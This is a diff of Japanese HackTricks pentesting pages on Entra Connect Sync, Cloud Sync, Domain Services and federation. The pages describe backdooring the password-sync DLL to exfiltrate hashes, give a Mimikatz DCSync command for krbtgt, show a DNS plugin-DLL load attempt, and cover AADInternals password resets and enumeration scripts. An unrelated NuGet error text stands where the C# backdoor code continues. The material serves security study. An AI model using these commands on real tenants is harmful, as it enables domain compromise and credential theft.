> AzureまたはEntraIDの役割を属性に基づいて同期されたユーザーに付与する方法はありません。たとえば、Cloud Syncの設定ではそうです。しかし、同期されたユーザーに自動的に権限を付与するために、**ADからのいくつかのEntra IDグループ**に権限が付与される可能性があるため、これらのグループ内の同期されたユーザーもそれを受け取るか、**動的グループが使用される可能性があります**。したがって、常に動的ルールとそれを悪用する可能性のある方法を確認してください：
|
||||
> AzureまたはEntraIDの役割を属性に基づいて同期されたユーザーに付与する方法はありません。たとえば、Cloud Syncの設定ではそうです。しかし、同期されたユーザーに自動的に権限を付与するために、**ADからのいくつかのEntra IDグループ**に権限が付与される可能性があるため、これらのグループ内の同期されたユーザーもそれを受け取るか、**動的グループが使用される可能性があります**。したがって、常に動的ルールとそれを悪用する潜在的な方法を確認してください：
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用して、Cloud Syncエージェントによってパスワード同期を実行するために使用される**`Microsoft.Online.Passwordsynchronisation.dll`**のバックドアを作成することが可能であると示唆しています。このdllは**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にあります。このdllは、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています（`use System.Net`と`WebClient`を使用してパスワードハッシュを流出させることに注意してください）：
|
||||
永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にある**`Microsoft.Online.Passwordsynchronisation.dll`**をバックドアするために[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用することが可能であると示唆しています。このdllはCloud Syncエージェントによってパスワード同期を実行するために使用され、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています（`use System.Net`と`WebClient`を使用してパスワードハッシュを流出させることに注意してください）：
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -122,7 +122,7 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
```
|
||||
NuGet パッケージの復元がプロジェクト AzTokenFinder に対して失敗しました: パッケージ 'System.Security.Cryptography.X509Certificates' のバージョン '4.3.2' が見つかりません。
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Security.Cryptography.X509Certificates.4.3.2' はソース 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' で見つかりませんでした。
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Security.Cryptography.X509Certificates.4.3.2' はソース 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' に見つかりませんでした。
|
||||
詳細な警告とエラーについては、エラーリストウィンドウを参照してください。
|
||||
|
||||
|
||||
@@ -131,12 +131,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Se
|
||||
|
||||
- **Password Writeback** が有効になっている場合、Entra ID からいくつかのユーザーのパスワードを変更でき、AD ネットワークにアクセスできる場合は、それを使用して接続できます。詳細については、パスワードの書き戻しがそのエージェントを使用して構成されているため、[Az Connect Sync セクション](./az-connect-sync.md)を確認してください。
|
||||
|
||||
- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** もサポートしていますが、長い時間が経った後、EntraID ユーザーを AD に同期できないことがわかりました。同期できるのは、パスワードハッシュで同期された EntraID ユーザーのみで、同期先のドメインと同じドメインフォレストに属するドメインから来ている必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください：
|
||||
- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** もサポートしていますが、長い時間が経過した後、EntraID ユーザーを AD に同期できず、パスワードハッシュで同期された EntraID ユーザーのみを同期できることがわかりました。また、同期先のドメインと同じドメインフォレストに属するドメインから来る必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください：
|
||||
|
||||
> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウド作成セキュリティグループのみを含めることができます。
|
||||
> - 同期され、クラウド作成セキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからでも構いませんが、すべて同じフォレストからでなければなりません。
|
||||
> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウドで作成されたセキュリティグループのみを含めることができます。
|
||||
> - 同期され、クラウドで作成されたこのセキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからであってもかまいませんが、すべて同じフォレストからでなければなりません。
|
||||
|
||||
したがって、このサービスの攻撃面（および有用性）は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります（両方が同じフォレストに存在する必要があるようです）。
|
||||
したがって、このサービスの攻撃面（および有用性）は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります（両方のドメインは明らかに同じフォレスト内である必要があります）。
|
||||
|
||||
|
||||
### Enumeration
|
||||
@@ -4,49 +4,49 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
|
||||
|
||||
これを使用するには、AD 環境内のサーバーに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側の同期を担当します。
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** は基本的に、**AD から Entra ID にユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです:
|
||||
**Connect Sync** は基本的に、**AD から Entra ID へのユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです：
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### 生成されるプリンシパル
|
||||
### 生成されたプリンシパル
|
||||
|
||||
- アカウント **`MSOL_<installationID>`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [ドキュメント](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD における **レプリケーション (DCSync) 権限** を持つことを意味します。
|
||||
- アカウント **`MSOL_<installationID>`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD で **レプリケーション (DCSync) 権限** を持つことを意味します。
|
||||
- これは、このアカウントを侵害した者がオンプレミス ドメインを侵害できることを意味します。
|
||||
- 管理サービスアカウント **`ADSyncMSA<id>`** がオンプレミス AD に特別なデフォルト権限なしで作成されます。
|
||||
- Entra ID には、証明書を持つサービスプリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が作成されます。
|
||||
- Entra ID には、証明書を持つサービス プリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が作成されます。
|
||||
|
||||
## パスワードの同期
|
||||
|
||||
### パスワードハッシュ同期
|
||||
### パスワードハッシュの同期
|
||||
|
||||
このコンポーネントは、**AD から Entra ID にパスワードを同期する**ためにも使用できるので、ユーザーは AD のパスワードを使用して Entra ID に接続できます。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュ同期を許可する必要があります。
|
||||
このコンポーネントは、**AD から Entra ID へのパスワードを同期する**ためにも使用できます。これにより、ユーザーは AD のパスワードを使用して Entra ID に接続できるようになります。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュの同期を許可する必要があります。
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュの同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
|
||||
|
||||
基本的に、すべての **ユーザー** と **パスワードハッシュのハッシュ** がオンプレミスから Azure AD に同期されます。ただし、**平文のパスワード** や **元の** **ハッシュ** は Azure AD に送信されません。
|
||||
|
||||
**ハッシュの同期** は毎 **2 分** ごとに行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD で **同期されません**。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセス** し続けることができます。
|
||||
**ハッシュの同期** は **2 分ごと** に行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD に同期されません。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセス** し続けることができます。
|
||||
|
||||
オンプレミスのユーザーが Azure リソースにアクセスしようとすると、**認証は Azure AD で行われます**。
|
||||
|
||||
> [!NOTE]
|
||||
> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザー** は、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの一部である他のユーザーや、高い権限が直接割り当てられたユーザーは **同期される可能性があります**。
|
||||
> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません**。ただし、この属性を持たない特権グループの一部である他のユーザーや、特権が直接割り当てられたユーザーは **同期される可能性があります**。
|
||||
|
||||
### パスワードの書き戻し
|
||||
|
||||
この構成により、ユーザーが Entra ID でパスワードを変更したときに **AD にパスワードを同期する**ことができます。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_<id>` ユーザーに [ドキュメントに記載されているように](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **より多くの権限を付与する必要があります**。これにより、AD 内の任意のユーザーのパスワードを **変更できる**ようになります。
|
||||
この構成により、ユーザーが Entra ID でパスワードを変更したときに **AD へのパスワードの同期** が可能になります。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_<id>` ユーザーに [ドキュメントに記載されているように](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **より多くの権限を付与する必要があります**。これにより、**AD 内の任意のユーザーのパスワードを変更できる**ようになります。
|
||||
|
||||
これは、侵害された Entra ID から AD を侵害するために特に興味深いです。なぜなら、ほぼすべてのユーザーのパスワードを変更できるからです。
|
||||
|
||||
ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば:
|
||||
ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば：
|
||||
|
||||
- 直接高い権限が割り当てられたユーザー。
|
||||
- **`DNSAdmins`** グループのユーザー。
|
||||
@@ -58,7 +58,7 @@ az-cloud-sync.md
|
||||
|
||||
### Connect Sync の列挙
|
||||
|
||||
ユーザーを確認してください:
|
||||
ユーザーを確認します：
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
@@ -90,7 +90,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**暗号化された構成** は **DPAPI** で暗号化されており、オンプレミス AD の **`MSOL_*`** ユーザーのパスワードと AzureAD の **Sync\_\*** のパスワードが含まれています。したがって、これらを侵害することで AD および AzureAD への特権昇格が可能です。
|
||||
**暗号化された構成** は **DPAPI** で暗号化されており、オンプレミスの AD における **`MSOL_*`** ユーザーのパスワードと AzureAD における **Sync\_\*** のパスワードが含まれています。したがって、これらを侵害することで AD および AzureAD への特権昇格が可能です。
|
||||
|
||||
これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
|
||||
|
||||
@@ -112,7 +112,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> 以前の攻撃では、Entra ID ユーザー `Sync_*` に接続するために他のパスワードが侵害され、その後 Entra ID が侵害されました。しかし、このユーザーはもはや存在しません。
|
||||
> 以前の攻撃では、他のパスワードが侵害され、その後 `Sync_*` と呼ばれる Entra ID ユーザーに接続して Entra ID を侵害しました。しかし、このユーザーはもはや存在しません。
|
||||
|
||||
### ConnectSyncProvisioning_ConnectSync\_<id> の悪用
|
||||
|
||||
@@ -128,16 +128,16 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
このアプリケーションの SP は、文書化されていない API を使用して特権的なアクションを実行するためにまだ使用できるとされていますが、私の知る限りでは PoC はまだ見つかっていません。\
|
||||
いずれにせよ、これが可能であると考えると、このサービスプリンシパルとしてログインするための証明書を見つけて悪用する方法をさらに探ることは興味深いでしょう。
|
||||
|
||||
この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました（**サービスプリンシパル** は常に新しい証明書を自分に割り当てることができます）そして、その後 SP として持続性を維持するために使用します。
|
||||
この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました（**サービスプリンシパル**は常に新しい証明書を自分に割り当てることができます）そして、その後 SP として持続性を維持するために使用します。
|
||||
|
||||
これらのアクションを実行するために、次のツールが公開されています：[SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)。
|
||||
|
||||
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのためツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
|
||||
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのため、ツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
|
||||
|
||||
### Sync\_\* の悪用 [非推奨]
|
||||
|
||||
> [!WARNING]
|
||||
> 以前は、`Sync_*` というユーザーが Entra ID に作成され、非常に敏感な権限が割り当てられており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行できました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使用されています。ただし、一部の環境にはまだ存在する可能性があるため、確認する価値があります。
|
||||
> 以前は、`Sync_*` というユーザーが Entra ID に非常に敏感な権限を持って作成されており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行することができました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使用されています。ただし、いくつかの環境ではまだ存在する可能性があるため、確認する価値があります。
|
||||
|
||||
**`Sync_*`** アカウントを侵害することで、任意のユーザー（グローバル管理者を含む）の **パスワードをリセット** することが可能です。
|
||||
```bash
|
||||
@@ -175,7 +175,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
|
||||
このユーザーのパスワードをダンプすることも可能です。
|
||||
|
||||
> [!CAUTION]
|
||||
> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーは**権限**を持っており、その後**そのサービスプリンシパルにアクセスする**ことで特権昇格を行うことです。
|
||||
> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーには**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。
|
||||
|
||||
### シームレスSSO
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Servicesは、ドメインコントローラーを管理することなくAzureにActive Directoryを展開することを可能にします（実際、ドメインコントローラーにアクセスすることすらできません）。
|
||||
|
||||
その主な目的は、最新の認証方法を使用できないレガシーアプリケーションをクラウドで実行できるようにすること、またはディレクトリの検索が常にオンプレミスのAD DS環境に戻ることを望まない場合です。
|
||||
|
||||
Entra IDで生成されたユーザー（他のアクティブディレクトリから同期されていないユーザー）をADドメインサービスに同期するには、**ユーザーのパスワードを新しいものに変更する**必要があります。実際、パスワードが変更されるまで、ユーザーはMicrosoft Entra IDからドメインサービスに同期されません。
|
||||
|
||||
> [!WARNING]
|
||||
> 新しいアクティブディレクトリドメインを作成している場合でも、完全に管理することはできません（いくつかの誤設定を悪用しない限り）。つまり、デフォルトでは、例えばADに直接ユーザーを作成することはできません。ユーザーは**Entra IDからのユーザーを同期することによって作成します。** すべてのユーザー（他のオンプレミスADから同期されたユーザーを含む）、クラウドユーザー（Entra IDで作成されたユーザー）のみ、または**さらにフィルタリングする**ことができます。
|
||||
|
||||
> [!NOTE]
|
||||
> 一般的に、新しいドメインの設定の柔軟性が欠けていることと、ADが通常すでにオンプレミスに存在することから、これはEntra IDとADの主な統合ではありませんが、妥協する方法を知っておくことは興味深いです。
|
||||
|
||||
### Pivoting
|
||||
|
||||
生成された**`AAD DC Administrators`**グループのメンバーは、管理されたドメインにドメイン参加しているVMにローカル管理者権限が付与されます（ただし、ドメインコントローラーにはありません）。このグループのメンバーは、**リモートデスクトップを使用してドメイン参加しているVMにリモート接続する**こともできます。また、次のグループのメンバーでもあります：
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: これは、RODC（読み取り専用ドメインコントローラー）にパスワードをキャッシュできないユーザーとグループを指定するグループです。
|
||||
- **`Group Policy Creators Owners`**: このグループは、メンバーがドメイン内でグループポリシーを作成できるようにします。ただし、そのメンバーはユーザーやグループにグループポリシーを適用したり、既存のGPOを編集したりすることはできないため、この環境ではあまり興味深くありません。
|
||||
- **`DnsAdmins`**: このグループはDNS設定を管理することを許可し、過去には[特権を昇格させてドメインを妥協するために悪用されました](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)。ただし、この環境で攻撃をテストした後、脆弱性が修正されていることが確認されました。
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
AD内でこれらの権限を付与するには、グループ **`AAD DC Administrators`** が前述のグループのメンバーに追加され、またGPO **`AADDC Computers GPO`** がドメイングループ **`AAD DC Administrators`** のすべてのメンバーをローカル管理者として追加します。
|
||||
|
||||
Entra IDからDomain Servicesで作成されたADへのピボットは簡単で、グループ **`AAD DC Administrators`** にユーザーを追加し、RDPを介してドメイン内の任意のマシンにアクセスすれば、データを盗むことができ、さらに **ドメインを侵害することができます。**
|
||||
|
||||
しかし、ドメインからEntra IDへのピボットは簡単ではなく、ドメインからEntra IDに同期されるものは何もありません。ただし、すべてのVMのメタデータを確認し、割り当てられたマネージドIDが興味深い権限を持っている可能性があることを常に確認してください。また、**ドメインからすべてのユーザーのパスワードをダンプし、それをクラックしてEntra ID / Azureにログインしようとしてください。**
|
||||
|
||||
> [!NOTE]
|
||||
> 過去にこの管理されたADにおいて、DCを侵害することを可能にする他の脆弱性が見つかったことに注意してください、[このようなもの](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。DCを侵害した攻撃者は、Azure管理者が気づかず、またはそれを削除できないまま、非常に簡単に持続性を維持することができます。
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
|
||||
--body '{
|
||||
"subscriptions": [
|
||||
"0ce1297c-9153-425d-3229-f51093614377"
|
||||
],
|
||||
"query": "resources | where type == \"microsoft.aad/domainservices\"",
|
||||
"options": {
|
||||
"$top": 16,
|
||||
"$skip": 0,
|
||||
"$skipToken": ""
|
||||
}
|
||||
}'
|
||||
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
|
||||
vnet_name="aadds-vnet"
|
||||
|
||||
# Retrieve all VMs in the subscription
|
||||
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
|
||||
|
||||
# Iterate through each VM to check their VNet connection
|
||||
echo "VMs connected to VNet '$vnet_name':"
|
||||
while IFS=$'\t' read -r vm_name resource_group; do
|
||||
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
|
||||
|
||||
for nic_id in $nic_ids; do
|
||||
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
|
||||
|
||||
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
|
||||
echo "VM Name: $vm_name, Resource Group: $resource_group"
|
||||
fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**承認**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。
|
||||
>あなたは**オンプレミスの**環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と承認に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
|
||||
>**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**認可**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。
|
||||
>あなたは**オンプレミスの**環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と認可に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
基本的に、フェデレーションでは、すべての**認証**が**オンプレミス**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレミスの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。
|
||||
基本的に、フェデレーションでは、すべての**認証**が**オンプレ**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。
|
||||
|
||||
**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および承認の**情報**を**交換**するために使用されます。
|
||||
**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および認可の**情報**を**交換**するために使用されます。
|
||||
|
||||
フェデレーションのセットアップには、3つの当事者が存在します：
|
||||
|
||||
@@ -23,12 +23,12 @@
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは、特定の実装に応じて、クライアントが直接IdP (アイデンティティプロバイダー) に移動することを許可する場合があります。
|
||||
2. 次に、SPはユーザー認証のために適切なIdP (例: AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
|
||||
1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは特定の実装に応じてスキップされ、クライアントが直接IdP (アイデンティティプロバイダー) に移動することがあります。
|
||||
2. 次に、SPはユーザー認証のために適切なIdP (例：AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
|
||||
3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。
|
||||
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係を示す場合、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
|
||||
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係が示されると、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
|
||||
|
||||
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください:**
|
||||
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください：**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
@@ -37,42 +37,42 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
## ピボッティング
|
||||
|
||||
- AD FSは、クレームベースのアイデンティティモデルです。
|
||||
- "..クレームは、ユーザーに関して行われる単なるステートメント (例えば、名前、アイデンティティ、グループ) であり、主にインターネット上のクレームベースのアプリケーションへのアクセスを承認するために使用されます。"
|
||||
- ユーザーのクレームはSAMLトークン内に書き込まれ、IdPによって機密性を提供するために署名されます。
|
||||
- "..クレームは、ユーザーに関して行われる単なるステートメント（例えば、名前、アイデンティティ、グループ）であり、主にインターネット上のクレームベースのアプリケーションへのアクセスを認可するために使用されます。"
|
||||
- ユーザーのクレームはSAMLトークン内に記述され、IdPによって機密性を提供するために署名されます。
|
||||
- ユーザーはImmutableIDによって識別されます。これはグローバルに一意で、Azure ADに保存されています。
|
||||
